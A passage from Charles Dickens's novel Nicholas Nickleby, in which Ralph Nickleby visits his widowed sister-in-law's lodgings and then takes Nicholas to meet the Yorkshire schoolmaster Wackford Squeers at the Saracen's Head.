half-way down that crowded +thoroughfare. + +A miniature painter lived there, for there was a large gilt frame +screwed upon the street-door, in which were displayed, upon a black +velvet ground, two portraits of naval dress coats with faces looking +out of them, and telescopes attached; one of a young gentleman in a +very vermilion uniform, flourishing a sabre; and one of a literary +character with a high forehead, a pen and ink, six books, and a +curtain. There was, moreover, a touching representation of a young +lady reading a manuscript in an unfathomable forest, and a charming +whole length of a large-headed little boy, sitting on a stool with +his legs fore-shortened to the size of salt-spoons. Besides these +works of art, there were a great many heads of old ladies and +gentlemen smirking at each other out of blue and brown skies, and an +elegantly written card of terms with an embossed border. + +Mr Nickleby glanced at these frivolities with great contempt, and +gave a double knock, which, having been thrice repeated, was +answered by a servant girl with an uncommonly dirty face. + +'Is Mrs Nickleby at home, girl?' demanded Ralph sharply. + +'Her name ain't Nickleby,' said the girl, 'La Creevy, you mean.' + +Mr Nickleby looked very indignant at the handmaid on being thus +corrected, and demanded with much asperity what she meant; which she +was about to state, when a female voice proceeding from a +perpendicular staircase at the end of the passage, inquired who was +wanted. + +'Mrs Nickleby,' said Ralph. + +'It's the second floor, Hannah,' said the same voice; 'what a stupid +thing you are! Is the second floor at home?' + +'Somebody went out just now, but I think it was the attic which had +been a cleaning of himself,' replied the girl. + +'You had better see,' said the invisible female. 'Show the +gentleman where the bell is, and tell him he mustn't knock double +knocks for the second floor; I can't allow a knock except when the +bell's broke, and then it must be two single ones.' + +'Here,' said Ralph, walking in without more parley, 'I beg your +pardon; is that Mrs La what's-her-name?' + +'Creevy--La Creevy,' replied the voice, as a yellow headdress bobbed +over the banisters. + +'I'll speak to you a moment, ma'am, with your leave,' said Ralph. + +The voice replied that the gentleman was to walk up; but he had +walked up before it spoke, and stepping into the first floor, was +received by the wearer of the yellow head-dress, who had a gown to +correspond, and was of much the same colour herself. Miss La Creevy +was a mincing young lady of fifty, and Miss La Creevy's apartment +was the gilt frame downstairs on a larger scale and something +dirtier. + +'Hem!' said Miss La Creevy, coughing delicately behind her black +silk mitten. 'A miniature, I presume. A very strongly-marked +countenance for the purpose, sir. Have you ever sat before?' + +'You mistake my purpose, I see, ma'am,' replied Mr Nickleby, in his +usual blunt fashion. 'I have no money to throw away on miniatures, +ma'am, and nobody to give one to (thank God) if I had. Seeing you +on the stairs, I wanted to ask a question of you, about some lodgers +here.' + +Miss La Creevy coughed once more--this cough was to conceal her +disappointment--and said, 'Oh, indeed!' + +'I infer from what you said to your servant, that the floor above +belongs to you, ma'am,' said Mr Nickleby. + +Yes it did, Miss La Creevy replied. The upper part of the house +belonged to her, and as she had no necessity for the second-floor +rooms just then, she was in the habit of letting them. Indeed, +there was a lady from the country and her two children in them, at +that present speaking. + +'A widow, ma'am?' said Ralph. + +'Yes, she is a widow,' replied the lady. + +'A POOR widow, ma'am,' said Ralph, with a powerful emphasis on that +little adjective which conveys so much. + +'Well, I'm afraid she IS poor,' rejoined Miss La Creevy. + +'I happen to know that she is, ma'am,' said Ralph. 'Now, what +business has a poor widow in such a house as this, ma'am?' + +'Very true,' replied Miss La Creevy, not at all displeased with this +implied compliment to the apartments. 'Exceedingly true.' + +'I know her circumstances intimately, ma'am,' said Ralph; 'in fact, +I am a relation of the family; and I should recommend you not to +keep them here, ma'am.' + +'I should hope, if there was any incompatibility to meet the +pecuniary obligations,' said Miss La Creevy with another cough, +'that the lady's family would--' + +'No they wouldn't, ma'am,' interrupted Ralph, hastily. 'Don't think +it.' + +'If I am to understand that,' said Miss La Creevy, 'the case wears a +very different appearance.' + +'You may understand it then, ma'am,' said Ralph, 'and make your +arrangements accordingly. I am the family, ma'am--at least, I +believe I am the only relation they have, and I think it right that +you should know I can't support them in their extravagances. How +long have they taken these lodgings for?' + +'Only from week to week,' replied Miss La Creevy. 'Mrs Nickleby +paid the first week in advance.' + +'Then you had better get them out at the end of it,' said Ralph. +'They can't do better than go back to the country, ma'am; they are +in everybody's way here.' + +'Certainly,' said Miss La Creevy, rubbing her hands, 'if Mrs +Nickleby took the apartments without the means of paying for them, +it was very unbecoming a lady.' + +'Of course it was, ma'am,' said Ralph. + +'And naturally,' continued Miss La Creevy, 'I who am, AT PRESENT-- +hem--an unprotected female, cannot afford to lose by the apartments.' + +'Of course you can't, ma'am,' replied Ralph. + +'Though at the same time,' added Miss La Creevy, who was plainly +wavering between her good-nature and her interest, 'I have nothing +whatever to say against the lady, who is extremely pleasant and +affable, though, poor thing, she seems terribly low in her spirits; +nor against the young people either, for nicer, or better-behaved +young people cannot be.' + +'Very well, ma'am,' said Ralph, turning to the door, for these +encomiums on poverty irritated him; 'I have done my duty, and +perhaps more than I ought: of course nobody will thank me for saying +what I have.' + +'I am sure I am very much obliged to you at least, sir,' said Miss +La Creevy in a gracious manner. 'Would you do me the favour to look +at a few specimens of my portrait painting?' + +'You're very good, ma'am,' said Mr Nickleby, making off with great +speed; 'but as I have a visit to pay upstairs, and my time is +precious, I really can't.' + +'At any other time when you are passing, I shall be most happy,' +said Miss La Creevy. 'Perhaps you will have the kindness to take a +card of terms with you? Thank you--good-morning!' + +'Good-morning, ma'am,' said Ralph, shutting the door abruptly after +him to prevent any further conversation. 'Now for my sister-in-law. +Bah!' + +Climbing up another perpendicular flight, composed with great +mechanical ingenuity of nothing but corner stairs, Mr Ralph Nickleby +stopped to take breath on the landing, when he was overtaken by the +handmaid, whom the politeness of Miss La Creevy had dispatched to +announce him, and who had apparently been making a variety of +unsuccessful attempts, since their last interview, to wipe her dirty +face clean, upon an apron much dirtier. + +'What name?' said the girl. + +'Nickleby,' replied Ralph. + +'Oh! Mrs Nickleby,' said the girl, throwing open the door, 'here's +Mr Nickleby.' + +A lady in deep mourning rose as Mr Ralph Nickleby entered, but +appeared incapable of advancing to meet him, and leant upon the arm +of a slight but very beautiful girl of about seventeen, who had been +sitting by her. A youth, who appeared a year or two older, stepped +forward and saluted Ralph as his uncle. + +'Oh,' growled Ralph, with an ill-favoured frown, 'you are Nicholas, +I suppose?' + +'That is my name, sir,' replied the youth. + +'Put my hat down,' said Ralph, imperiously. 'Well, ma'am, how do +you do? You must bear up against sorrow, ma'am; I always do.' + +'Mine was no common loss!' said Mrs Nickleby, applying her +handkerchief to her eyes. + +'It was no UNcommon loss, ma'am,' returned Ralph, as he coolly +unbuttoned his spencer. 'Husbands die every day, ma'am, and wives +too.' + +'And brothers also, sir,' said Nicholas, with a glance of indignation. + +'Yes, sir, and puppies, and pug-dogs likewise,' replied his uncle, +taking a chair. 'You didn't mention in your letter what my +brother's complaint was, ma'am.' + +'The doctors could attribute it to no particular disease,' said Mrs +Nickleby; shedding tears. 'We have too much reason to fear that he +died of a broken heart.' + +'Pooh!' said Ralph, 'there's no such thing. I can understand a +man's dying of a broken neck, or suffering from a broken arm, or a +broken head, or a broken leg, or a broken nose; but a broken heart! +--nonsense, it's the cant of the day. If a man can't pay his debts, +he dies of a broken heart, and his widow's a martyr.' + +'Some people, I believe, have no hearts to break,' observed +Nicholas, quietly. + +'How old is this boy, for God's sake?' inquired Ralph, wheeling back +his chair, and surveying his nephew from head to foot with intense +scorn. + +'Nicholas is very nearly nineteen,' replied the widow. + +'Nineteen, eh!' said Ralph; 'and what do you mean to do for your +bread, sir?' + +'Not to live upon my mother,' replied Nicholas, his heart swelling +as he spoke. + +'You'd have little enough to live upon, if you did,' retorted the +uncle, eyeing him contemptuously. + +'Whatever it be,' said Nicholas, flushed with anger, 'I shall not +look to you to make it more.' + +'Nicholas, my dear, recollect yourself,' remonstrated Mrs Nickleby. + +'Dear Nicholas, pray,' urged the young lady. + +'Hold your tongue, sir,' said Ralph. 'Upon my word! Fine +beginnings, Mrs Nickleby--fine beginnings!' + +Mrs Nickleby made no other reply than entreating Nicholas by a +gesture to keep silent; and the uncle and nephew looked at each +other for some seconds without speaking. The face of the old man +was stern, hard-featured, and forbidding; that of the young one, +open, handsome, and ingenuous. The old man's eye was keen with the +twinklings of avarice and cunning; the young man's bright with the +light of intelligence and spirit. His figure was somewhat slight, +but manly and well formed; and, apart from all the grace of youth +and comeliness, there was an emanation from the warm young heart in +his look and bearing which kept the old man down. + +However striking such a contrast as this may be to lookers-on, none +ever feel it with half the keenness or acuteness of perfection with +which it strikes to the very soul of him whose inferiority it marks. +It galled Ralph to the heart's core, and he hated Nicholas from that +hour. + +The mutual inspection was at length brought to a close by Ralph +withdrawing his eyes, with a great show of disdain, and calling +Nicholas 'a boy.' This word is much used as a term of reproach by +elderly gentlemen towards their juniors: probably with the view of +deluding society into the belief that if they could be young again, +they wouldn't on any account. + +'Well, ma'am,' said Ralph, impatiently, 'the creditors have +administered, you tell me, and there's nothing left for you?' + +'Nothing,' replied Mrs Nickleby. + +'And you spent what little money you had, in coming all the way to +London, to see what I could do for you?' pursued Ralph. + +'I hoped,' faltered Mrs Nickleby, 'that you might have an +opportunity of doing something for your brother's children. It was +his dying wish that I should appeal to you in their behalf.' + +'I don't know how it is,' muttered Ralph, walking up and down the +room, 'but whenever a man dies without any property of his own, he +always seems to think he has a right to dispose of other people's. +What is your daughter fit for, ma'am?' + +'Kate has been well educated,' sobbed Mrs Nickleby. 'Tell your +uncle, my dear, how far you went in French and extras.' + +The poor girl was about to murmur something, when her uncle stopped +her, very unceremoniously. + +'We must try and get you apprenticed at some boarding-school,' said +Ralph. 'You have not been brought up too delicately for that, I +hope?' + +'No, indeed, uncle,' replied the weeping girl. 'I will try to do +anything that will gain me a home and bread.' + +'Well, well,' said Ralph, a little softened, either by his niece's +beauty or her distress (stretch a point, and say the latter). 'You +must try it, and if the life is too hard, perhaps dressmaking or +tambour-work will come lighter. Have YOU ever done anything, sir?' +(turning to his nephew.) + +'No,' replied Nicholas, bluntly. + +'No, I thought not!' said Ralph. 'This is the way my brother +brought up his children, ma'am.' + +'Nicholas has not long completed such education as his poor father +could give him,' rejoined Mrs Nickleby, 'and he was thinking of--' + +'Of making something of him someday,' said Ralph. 'The old story; +always thinking, and never doing. If my brother had been a man of +activity and prudence, he might have left you a rich woman, ma'am: +and if he had turned his son into the world, as my father turned me, +when I wasn't as old as that boy by a year and a half, he would have +been in a situation to help you, instead of being a burden upon you, +and increasing your distress. My brother was a thoughtless, +inconsiderate man, Mrs Nickleby, and nobody, I am sure, can have +better reason to feel that, than you.' + +This appeal set the widow upon thinking that perhaps she might have +made a more successful venture with her one thousand pounds, and +then she began to reflect what a comfortable sum it would have been +just then; which dismal thoughts made her tears flow faster, and in +the excess of these griefs she (being a well-meaning woman enough, +but weak withal) fell first to deploring her hard fate, and then to +remarking, with many sobs, that to be sure she had been a slave to +poor Nicholas, and had often told him she might have married better +(as indeed she had, very often), and that she never knew in his +lifetime how the money went, but that if he had confided in her they +might all have been better off that day; with other bitter +recollections common to most married ladies, either during their +coverture, or afterwards, or at both periods. Mrs Nickleby +concluded by lamenting that the dear departed had never deigned to +profit by her advice, save on one occasion; which was a strictly +veracious statement, inasmuch as he had only acted upon it once, and +had ruined himself in consequence. + +Mr Ralph Nickleby heard all this with a half-smile; and when the +widow had finished, quietly took up the subject where it had been +left before the above outbreak. + +'Are you willing to work, sir?' he inquired, frowning on his nephew. + +'Of course I am,' replied Nicholas haughtily. + +'Then see here, sir,' said his uncle. 'This caught my eye this +morning, and you may thank your stars for it.' + +With this exordium, Mr Ralph Nickleby took a newspaper from his +pocket, and after unfolding it, and looking for a short time among +the advertisements, read as follows: + +'"EDUCATION.--At Mr Wackford Squeers's Academy, Dotheboys Hall, at +the delightful village of Dotheboys, near Greta Bridge in Yorkshire, +Youth are boarded, clothed, booked, furnished with pocket-money, +provided with all necessaries, instructed in all languages living +and dead, mathematics, orthography, geometry, astronomy, +trigonometry, the use of the globes, algebra, single stick (if +required), writing, arithmetic, fortification, and every other +branch of classical literature. Terms, twenty guineas per annum. +No extras, no vacations, and diet unparalleled. Mr Squeers is in +town, and attends daily, from one till four, at the Saracen's Head, +Snow Hill. N.B. An able assistant wanted. Annual salary 5 pounds. +A Master of Arts would be preferred." + +'There!' said Ralph, folding the paper again. 'Let him get that +situation, and his fortune is made.' + +'But he is not a Master of Arts,' said Mrs Nickleby. + +'That,' replied Ralph, 'that, I think, can be got over.' + +'But the salary is so small, and it is such a long way off, uncle!' +faltered Kate. + +'Hush, Kate my dear,' interposed Mrs Nickleby; 'your uncle must know +best.' + +'I say,' repeated Ralph, tartly, 'let him get that situation, and +his fortune is made. If he don't like that, let him get one for +himself. Without friends, money, recommendation, or knowledge of +business of any kind, let him find honest employment in London, +which will keep him in shoe leather, and I'll give him a thousand +pounds. At least,' said Mr Ralph Nickleby, checking himself, 'I +would if I had it.' + +'Poor fellow!' said the young lady. 'Oh! uncle, must we be +separated so soon!' + +'Don't tease your uncle with questions when he is thinking only for +our good, my love,' said Mrs Nickleby. 'Nicholas, my dear, I wish +you would say something.' + +'Yes, mother, yes,' said Nicholas, who had hitherto remained silent +and absorbed in thought. 'If I am fortunate enough to be appointed +to this post, sir, for which I am so imperfectly qualified, what +will become of those I leave behind?' + +'Your mother and sister, sir,' replied Ralph, 'will be provided for, +in that case (not otherwise), by me, and placed in some sphere of +life in which they will be able to be independent. That will be my +immediate care; they will not remain as they are, one week after +your departure, I will undertake.' + +'Then,' said Nicholas, starting gaily up, and wringing his uncle's +hand, 'I am ready to do anything you wish me. Let us try our +fortune with Mr Squeers at once; he can but refuse.' + +'He won't do that,' said Ralph. 'He will be glad to have you on my +recommendation. Make yourself of use to him, and you'll rise to be +a partner in the establishment in no time. Bless me, only think! if +he were to die, why your fortune's made at once.' + +'To be sure, I see it all,' said poor Nicholas, delighted with a +thousand visionary ideas, that his good spirits and his inexperience +were conjuring up before him. 'Or suppose some young nobleman who +is being educated at the Hall, were to take a fancy to me, and get +his father to appoint me his travelling tutor when he left, and when +we come back from the continent, procured me some handsome appointment. +Eh! uncle?' + +'Ah, to be sure!' sneered Ralph. + +'And who knows, but when he came to see me when I was settled (as he +would of course), he might fall in love with Kate, who would be +keeping my house, and--and marry her, eh! uncle? Who knows?' + +'Who, indeed!' snarled Ralph. + +'How happy we should be!' cried Nicholas with enthusiasm. 'The pain +of parting is nothing to the joy of meeting again. Kate will be a +beautiful woman, and I so proud to hear them say so, and mother so +happy to be with us once again, and all these sad times forgotten, +and--' The picture was too bright a one to bear, and Nicholas, +fairly overpowered by it, smiled faintly, and burst into tears. + +This simple family, born and bred in retirement, and wholly +unacquainted with what is called the world--a conventional phrase +which, being interpreted, often signifieth all the rascals in it-- +mingled their tears together at the thought of their first +separation; and, this first gush of feeling over, were proceeding to +dilate with all the buoyancy of untried hope on the bright prospects +before them, when Mr Ralph Nickleby suggested, that if they lost +time, some more fortunate candidate might deprive Nicholas of the +stepping-stone to fortune which the advertisement pointed out, and +so undermine all their air-built castles. This timely reminder +effectually stopped the conversation. Nicholas, having carefully +copied the address of Mr Squeers, the uncle and nephew issued forth +together in quest of that accomplished gentleman; Nicholas firmly +persuading himself that he had done his relative great injustice in +disliking him at first sight; and Mrs Nickleby being at some pains +to inform her daughter that she was sure he was a much more kindly +disposed person than he seemed; which, Miss Nickleby dutifully +remarked, he might very easily be. + +To tell the truth, the good lady's opinion had been not a little +influenced by her brother-in-law's appeal to her better +understanding, and his implied compliment to her high deserts; and +although she had dearly loved her husband, and still doted on her +children, he had struck so successfully on one of those little +jarring chords in the human heart (Ralph was well acquainted with +its worst weaknesses, though he knew nothing of its best), that she +had already begun seriously to consider herself the amiable and +suffering victim of her late husband's imprudence. + + + +CHAPTER 4 + +Nicholas and his Uncle (to secure the Fortune without loss of time) +wait upon Mr Wackford Squeers, the Yorkshire Schoolmaster + + +Snow Hill! What kind of place can the quiet townspeople who see the +words emblazoned, in all the legibility of gilt letters and dark +shading, on the north-country coaches, take Snow Hill to be? All +people have some undefined and shadowy notion of a place whose name +is frequently before their eyes, or often in their ears. What a +vast number of random ideas there must be perpetually floating +about, regarding this same Snow Hill. The name is such a good one. +Snow Hill--Snow Hill too, coupled with a Saracen's Head: picturing +to us by a double association of ideas, something stern and rugged! +A bleak desolate tract of country, open to piercing blasts and +fierce wintry storms--a dark, cold, gloomy heath, lonely by day, and +scarcely to be thought of by honest folks at night--a place which +solitary wayfarers shun, and where desperate robbers congregate;-- +this, or something like this, should be the prevalent notion of Snow +Hill, in those remote and rustic parts, through which the Saracen's +Head, like some grim apparition, rushes each day and night with +mysterious and ghost-like punctuality; holding its swift and +headlong course in all weathers, and seeming to bid defiance to the +very elements themselves. + +The reality is rather different, but by no means to be despised +notwithstanding. There, at the very core of London, in the heart of +its business and animation, in the midst of a whirl of noise and +motion: stemming as it were the giant currents of life that flow +ceaselessly on from different quarters, and meet beneath its walls: +stands Newgate; and in that crowded street on which it frowns so +darkly--within a few feet of the squalid tottering houses--upon the +very spot on which the vendors of soup and fish and damaged fruit +are now plying their trades--scores of human beings, amidst a roar +of sounds to which even the tumult of a great city is as nothing, +four, six, or eight strong men at a time, have been hurried +violently and swiftly from the world, when the scene has been +rendered frightful with excess of human life; when curious eyes have +glared from casement and house-top, and wall and pillar; and when, +in the mass of white and upturned faces, the dying wretch, in his +all-comprehensive look of agony, has met not one--not one--that bore +the impress of pity or compassion. + +Near to the jail, and by consequence near to Smithfield also, and +the Compter, and the bustle and noise of the city; and just on that +particular part of Snow Hill where omnibus horses going eastward +seriously think of falling down on purpose, and where horses in +hackney cabriolets going westward not unfrequently fall by accident, +is the coach-yard of the Saracen's Head Inn; its portal guarded by +two Saracens' heads and shoulders, which it was once the pride and +glory of the choice spirits of this metropolis to pull down at +night, but which have for some time remained in undisturbed +tranquillity; possibly because this species of humour is now +confined to St James's parish, where door knockers are preferred as +being more portable, and bell-wires esteemed as convenient +toothpicks. Whether this be the reason or not, there they are, +frowning upon you from each side of the gateway. The inn itself +garnished with another Saracen's Head, frowns upon you from the top +of the yard; while from the door of the hind boot of all the red +coaches that are standing therein, there glares a small Saracen's +Head, with a twin expression to the large Saracens' Heads below, so +that the general appearance of the pile is decidedly of the +Saracenic order. + +When you walk up this yard, you will see the booking-office on your +left, and the tower of St Sepulchre's church, darting abruptly up +into the sky, on your right, and a gallery of bedrooms on both +sides. Just before you, you will observe a long window with the +words 'coffee-room' legibly painted above it; and looking out of +that window, you would have seen in addition, if you had gone at the +right time, Mr Wackford Squeers with his hands in his pockets. + +Mr Squeers's appearance was not prepossessing. He had but one eye, +and the popular prejudice runs in favour of two. The eye he had, +was unquestionably useful, but decidedly not ornamental: being of a +greenish grey, and in shape resembling the fan-light of a street +door. The blank side of his face was much wrinkled and puckered up, +which gave him a very sinister appearance, especially when he +smiled, at which times his expression bordered closely on the +villainous. His hair was very flat and shiny, save at the ends, +where it was brushed stiffly up from a low protruding forehead, +which assorted well with his harsh voice and coarse manner. He was +about two or three and fifty, and a trifle below the middle size; he +wore a white neckerchief with long ends, and a suit of scholastic +black; but his coat sleeves being a great deal too long, and his +trousers a great deal too short, he appeared ill at ease in his +clothes, and as if he were in a perpetual state of astonishment at +finding himself so respectable. + +Mr Squeers was standing in a box by one of the coffee-room fire- +places, fitted with one such table as is usually seen in coffee- +rooms, and two of extraordinary shapes and dimensions made to suit +the angles of the partition. In a corner of the seat, was a very +small deal trunk, tied round with a scanty piece of cord; and on the +trunk was perched--his lace-up half-boots and corduroy trousers +dangling in the air--a diminutive boy, with his shoulders drawn up +to his ears, and his hands planted on his knees, who glanced timidly +at the schoolmaster, from time to time, with evident dread and +apprehension. + +'Half-past three,' muttered Mr Squeers, turning from the window, and +looking sulkily at the coffee-room clock. 'There will be nobody +here today.' + +Much vexed by this reflection, Mr Squeers looked at the little boy +to see whether he was doing anything he could beat him for. As he +happened not to be doing anything at all, he merely boxed his ears, +and told him not to do it again. + +'At Midsummer,' muttered Mr Squeers, resuming his complaint, 'I took +down ten boys; ten twenties is two hundred pound. I go back at +eight o'clock tomorrow morning, and have got only three--three +oughts is an ought--three twos is six--sixty pound. What's come of +all the boys? what's parents got in their heads? what does it all +mean?' + +Here the little boy on the top of the trunk gave a violent sneeze. + +'Halloa, sir!' growled the schoolmaster, turning round. 'What's +that, sir?' + +'Nothing, please sir,' replied the little boy. + +'Nothing, sir!' exclaimed Mr Squeers. + +'Please sir, I sneezed,' rejoined the boy, trembling till the little +trunk shook under him. + +'Oh! sneezed, did you?' retorted Mr Squeers. 'Then what did you say +"nothing" for, sir?' + +In default of a better answer to this question, the little boy +screwed a couple of knuckles into each of his eyes and began to cry, +wherefore Mr Squeers knocked him off the trunk with a blow on one +side of the face, and knocked him on again with a blow on the other. + +'Wait till I get you down into Yorkshire, my young gentleman,' said +Mr Squeers, 'and then I'll give you the rest. Will you hold that +noise, sir?' + +'Ye--ye--yes,' sobbed the little boy, rubbing his face very hard +with the Beggar's Petition in printed calico. + +'Then do so at once, sir,' said Squeers. 'Do you hear?' + +As this admonition was accompanied with a threatening gesture, and +uttered with a savage aspect, the little boy rubbed his face harder, +as if to keep the tears back; and, beyond alternately sniffing and +choking, gave no further vent to his emotions. + +'Mr Squeers,' said the waiter, looking in at this juncture; 'here's +a gentleman asking for you at the bar.' + +'Show the gentleman in, Richard,' replied Mr Squeers, in a soft +voice. 'Put your handkerchief in your pocket, you little scoundrel, +or I'll murder you when the gentleman goes.' + +The schoolmaster had scarcely uttered these words in a fierce +whisper, when the stranger entered. Affecting not to see him, Mr +Squeers feigned to be intent upon mending a pen, and offering +benevolent advice to his youthful pupil. + +'My dear child,' said Mr Squeers, 'all people have their trials. +This early trial of yours that is fit to make your little heart +burst, and your very eyes come out of your head with crying, what is +it? Nothing; less than nothing. You are leaving your friends, but +you will have a father in me, my dear, and a mother in Mrs Squeers. +At the delightful village of Dotheboys, near Greta Bridge in +Yorkshire, where youth are boarded, clothed, booked, washed, +furnished with pocket-money, provided with all necessaries--' + +'It IS the gentleman,' observed the stranger, stopping the +schoolmaster in the rehearsal of his advertisement. 'Mr Squeers, I +believe, sir?' + +'The same, sir,' said Mr Squeers, with an assumption of extreme +surprise. + +'The gentleman,' said the stranger, 'that advertised in the Times +newspaper?' + +'--Morning Post, Chronicle, Herald, and Advertiser, regarding the +Academy called Dotheboys Hall at the delightful village of +Dotheboys, near Greta Bridge in Yorkshire,' added Mr Squeers. 'You +come on business, sir. I see by my young friends. How do you do, +my little gentleman? and how do you do, sir?' With this salutation +Mr Squeers patted the heads of two hollow-eyed, small-boned little +boys, whom the applicant had brought with him, and waited for +further communications. + +'I am in the oil and colour way. My name is Snawley, sir,' said the +stranger. + +Squeers inclined his head as much as to say, 'And a remarkably +pretty name, too.' + +The stranger continued. 'I have been thinking, Mr Squeers, of +placing my two boys at your school.' + +'It is not for me to say so, sir,' replied Mr Squeers, 'but I don't +think you could possibly do a better thing.' + +'Hem!' said the other. 'Twenty pounds per annewum, I believe, Mr +Squeers?' + +'Guineas,' rejoined the schoolmaster, with a persuasive smile. + +'Pounds for two, I think, Mr Squeers,' said Mr Snawley, solemnly. + +'I don't think it could be done, sir,' replied Squeers, as if he had +never considered the proposition before. 'Let me see; four fives is +twenty, double that, and deduct the--well, a pound either way shall +not stand betwixt us. You must recommend me to your connection, +sir, and make it up that way.' + +'They are not great eaters,' said Mr Snawley. + +'Oh! that doesn't matter at all,' replied Squeers. 'We don't +consider the boys' appetites at our establishment.' This was +strictly true; they did not. + +'Every wholesome luxury, sir, that Yorkshire can afford,' continued +Squeers; 'every beautiful moral that Mrs Squeers can instil; every-- +in short, every comfort of a home that a boy could wish for, will be +theirs, Mr Snawley.' + +'I should wish their morals to be particularly attended to,' said Mr +Snawley. + +'I am glad of that, sir,' replied the schoolmaster, drawing himself +up. 'They have come to the right shop for morals, sir.' + +'You are a moral man yourself,' said Mr Snawley. + +'I rather believe I am, sir,' replied Squeers. + +'I have the satisfaction to know you are, sir,' said Mr Snawley. 'I +asked one of your references, and he said you were pious.' + +'Well, sir, I hope I am a little in that line,' replied Squeers. + +'I hope I am also,' rejoined the other. 'Could I say a few words +with you in the next box?' + +'By all means,' rejoined Squeers with a grin. 'My dears, will you +speak to your new playfellow a minute or two? That is one of my +boys, sir. Belling his name is,--a Taunton boy that, sir.' + +'Is he, indeed?' rejoined Mr Snawley, looking at the poor little +urchin as if he were some extraordinary natural curiosity. + +'He goes down with me tomorrow, sir,' said Squeers. 'That's his +luggage that he is a sitting upon now. Each boy is required to +bring, sir, two suits of clothes, six shirts, six pair of stockings, +two nightcaps, two pocket-handkerchiefs, two pair of shoes, two +hats, and a razor.' + +'A razor!' exclaimed Mr Snawley, as they walked into the next box. +'What for?' + +'To shave with,' replied Squeers, in a slow and measured tone. + +There was not much in these three words, but there must have been +something in the manner in which they were said, to attract +attention; for the schoolmaster and his companion looked steadily at +each other for a few seconds, and then exchanged a very meaning +smile. Snawley was a sleek, flat-nosed man, clad in sombre +garments, and long black gaiters, and bearing in his countenance an +expression of much mortification and sanctity; so, his smiling +without any obvious reason was the more remarkable. + +'Up to what age do you keep boys at your school then?' he asked at +length. + +'Just as long as their friends make the quarterly payments to my +agent in town, or until such time as they run away,' replied +Squeers. 'Let us understand each other; I see we may safely do so. +What are these boys;--natural children?' + +'No,' rejoined Snawley, meeting the gaze of the schoolmaster's one +eye. 'They ain't.' + +'I thought they might be,' said Squeers, coolly. 'We have a good +many of them; that boy's one.' + +'Him in the next box?' said Snawley. + +Squeers nodded in the affirmative; his companion took another peep +at the little boy on the trunk, and, turning round again, looked as +if he were quite disappointed to see him so much like other boys, +and said he should hardly have thought it. + +'He is,' cried Squeers. 'But about these boys of yours; you wanted +to speak to me?' + +'Yes,' replied Snawley. 'The fact is, I am not their father, Mr +Squeers. I'm only their father-in-law.' + +'Oh! Is that it?' said the schoolmaster. 'That explains it at +once. I was wondering what the devil you were going to send them to +Yorkshire for. Ha! ha! Oh, I understand now.' + +'You see I have married the mother,' pursued Snawley; 'it's +expensive keeping boys at home, and as she has a little money in her +own right, I am afraid (women are so very foolish, Mr Squeers) that +she might be led to squander it on them, which would be their ruin, +you know.' + +'I see,' returned Squeers, throwing himself back in his chair, and +waving his hand. + +'And this,' resumed Snawley, 'has made me anxious to put them to +some school a good distance off, where there are no holidays--none +of those ill-judged coming home twice a year that unsettle +children's minds so--and where they may rough it a little--you +comprehend?' + +'The payments regular, and no questions asked,' said Squeers, +nodding his head. + +'That's it, exactly,' rejoined the other. 'Morals strictly attended +to, though.' + +'Strictly,' said Squeers. + +'Not too much writing home allowed, I suppose?' said the father-in- +law, hesitating. + +'None, except a circular at Christmas, to say they never were so +happy, and hope they may never be sent for,' rejoined Squeers. + +'Nothing could be better,' said the father-in-law, rubbing his +hands. + +'Then, as we understand each other,' said Squeers, 'will you allow +me to ask you whether you consider me a highly virtuous, exemplary, +and well-conducted man in private life; and whether, as a person +whose business it is to take charge of youth, you place the +strongest confidence in my unimpeachable integrity, liberality, +religious principles, and ability?' + +'Certainly I do,' replied the father-in-law, reciprocating the +schoolmaster's grin. + +'Perhaps you won't object to say that, if I make you a reference?' + +'Not the least in the world.' + +'That's your sort!' said Squeers, taking up a pen; 'this is doing +business, and that's what I like.' + +Having entered Mr Snawley's address, the schoolmaster had next to +perform the still more agreeable office of entering the receipt of +the first quarter's payment in advance, which he had scarcely +completed, when another voice was heard inquiring for Mr Squeers. + +'Here he is,' replied the schoolmaster; 'what is it?' + +'Only a matter of business, sir,' said Ralph Nickleby, presenting +himself, closely followed by Nicholas. 'There was an advertisement +of yours in the papers this morning?' + +'There was, sir. This way, if you please,' said Squeers, who had by +this time got back to the box by the fire-place. 'Won't you be +seated?' + +'Why, I think I will,' replied Ralph, suiting the action to the +word, and placing his hat on the table before him. 'This is my +nephew, sir, Mr Nicholas Nickleby.' + +'How do you do, sir?' said Squeers. + +Nicholas bowed, said he was very well, and seemed very much +astonished at the outward appearance of the proprietor of Dotheboys +Hall: as indeed he was. + +'Perhaps you recollect me?' said Ralph, looking narrowly at the +schoolmaster. + +'You paid me a small account at each of my half-yearly visits to +town, for some years, I think, sir,' replied Squeers. + +'I did,' rejoined Ralph. + +'For the parents of a boy named Dorker, who unfortunately--' + +'--unfortunately died at Dotheboys Hall,' said Ralph, finishing the +sentence. + +'I remember very well, sir,' rejoined Squeers. 'Ah! Mrs Squeers, +sir, was as partial to that lad as if he had been her own; the +attention, sir, that was bestowed upon that boy in his illness! Dry +toast and warm tea offered him every night and morning when he +couldn't swallow anything--a candle in his bedroom on the very night +he died--the best dictionary sent up for him to lay his head upon--I +don't regret it though. It is a pleasant thing to reflect that one +did one's duty by him.' + +Ralph smiled, as if he meant anything but smiling, and looked round +at the strangers present. + +'These are only some pupils of mine,' said Wackford Squeers, +pointing to the little boy on the trunk and the two little boys on +the floor, who had been staring at each other without uttering a +word, and writhing their bodies into most remarkable contortions, +according to the custom of little boys when they first become +acquainted. 'This gentleman, sir, is a parent who is kind enough to +compliment me upon the course of education adopted at Dotheboys +Hall, which is situated, sir, at the delightful village of +Dotheboys, near Greta Bridge in Yorkshire, where youth are boarded, +clothed, booked, washed, furnished with pocket-money--' + +'Yes, we know all about that, sir,' interrupted Ralph, testily. +'It's in the advertisement.' + +'You are very right, sir; it IS in the advertisement,' replied +Squeers. + +'And in the matter of fact besides,' interrupted Mr Snawley. 'I +feel bound to assure you, sir, and I am proud to have this +opportunity OF assuring you, that I consider Mr Squeers a gentleman +highly virtuous, exemplary, well conducted, and--' + +'I make no doubt of it, sir,' interrupted Ralph, checking the +torrent of recommendation; 'no doubt of it at all. Suppose we come +to business?' + +'With all my heart, sir,' rejoined Squeers. '"Never postpone +business," is the very first lesson we instil into our commercial +pupils. Master Belling, my dear, always remember that; do you +hear?' + +'Yes, sir,' repeated Master Belling. + +'He recollects what it is, does he?' said Ralph. + +'Tell the gentleman,' said Squeers. + +'"Never,"' repeated Master Belling. + +'Very good,' said Squeers; 'go on.' + +'Never,' repeated Master Belling again. + +'Very good indeed,' said Squeers. 